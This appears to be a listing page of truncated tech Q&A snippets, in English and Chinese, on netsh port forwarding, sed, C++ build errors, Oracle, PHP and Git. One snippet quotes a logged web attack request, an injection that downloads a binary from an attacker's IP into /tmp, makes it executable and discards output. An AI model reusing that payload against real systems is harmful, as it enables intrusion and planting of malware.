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Can you connect to Amazon ElastiСache Redis outside of Amazon?

...r>netsh interface portproxy add v4tov4 listenport=6379 listenaddress=10.xxx.64.xxx connectport=6379 connectaddress=xxx.xxxxxx.ng.0001.use1.cache.amazonaws.com To list port-forwarded ports C:\Users\Administrator>netsh interface portproxy show all Listen on ipv4: Connect to ipv4: ...
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Insert a line at specific line number with sed or awk

...ine #5 Line #6 Line #7 Line #8 Line #9 Line #10 [root@node23 ~]# sed -e '3ixxx inserted line xxx' -i a_file [root@node23 ~]# cat -An a_file 1 Line #1$ 2 Line #2$ 3 xxx inserted line xxx$ 4 Line #3$ 5 Line #4$ 6 Line #5$ 7 Line #6$ 8 Line #7$ 9 ...
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What is /dev/null 2>&1?

...rd?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and for...
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XXX.cc:100: error: ‘::strerror’ has not been declared - C/C++ - 清泛网 - 专注C/C++及内核技术

XXX.cc:100: error: ‘::strerror’ has not been declared#include <string.h>解决。#include <string.h> 解决。strerror
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mfcs110ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 已经在 Xxx.ob...

mfcs110ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 已经在 Xxx.obj 中定义原因分析:_USRDLL定义有的话,MFC会自动生成一个DllMain入口函数,这时在dll源码中额外又添加了一个DllMain入口函数,就会出现重定义冲突。 原因分析: _USRDLL定义...
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[解决]错误对话框\"Encountered an improper argument.\" - C/C++ - 清泛网 - 专注C/C++及内核技术

...因一般是访问不存在的容器 控件的索引导致的。比如:xxx::iterator it = ....; if (it != xxx.end...错误对话框如图: 出现此错误的原因一般是访问不存在的容器/控件的索引导致的。 比如: xxx::iterator it = ....; // if (it != xxx.end()) ...
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warning: xxx will be initialized after [-Wreorder] - C/C++ - 清泛网 - 专注C/C++及内核技术

warning: xxx will be initialized after [-Wreorder]c++使用参数列表进行初始话时,初始化成员变量的顺序和声明的顺序相同,如果在写参数列表时没有按照声明的顺序写,则出现此警告。这个警告...c++使用参数列表进行初始话时,初始化...
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Oracle nvarchar和varchar相互转换、联合查询 - 数据库(内核) - 清泛网 - ...

...national character set. The output datatype isNVARCHAR2. (A表字段c_xxx:varchar,B表c_xxx:nvarchar) select translate(c_xxx USING NCHAR_CS) from A union all select c_xxx from B 或者 select c_xxx from A union all select translate(c_xxx USING CHAR_CS) from B 注意:translat...
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Parse error: syntax error, unexpected end of file in xxx 的解决办法 - ...

Parse error: syntax error, unexpected end of file in xxx 的解决办法出现此提示一般是因为PHP代码中使用了 缩短的PHP开始和结束标签,如: <? ?> 。解决办法如下如下两种:第1种办法:将代码中的<? ?>全...出现此提示一般是因为PHP代码中使用...
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Git基本命令 - 更多技术 - 清泛网 - 专注C/C++及内核技术

Git基本命令在~ .ssh config中使用vim配置主机信息。Host XXX uesr git HostNamewww.XXX.com Port 8000从服务器上下载项目git clone Hos...在~/.ssh/config中使用vim配置主机信息。 Host XXX uesr git HostName www.XXX.com Port 8000 从服务器上下载项...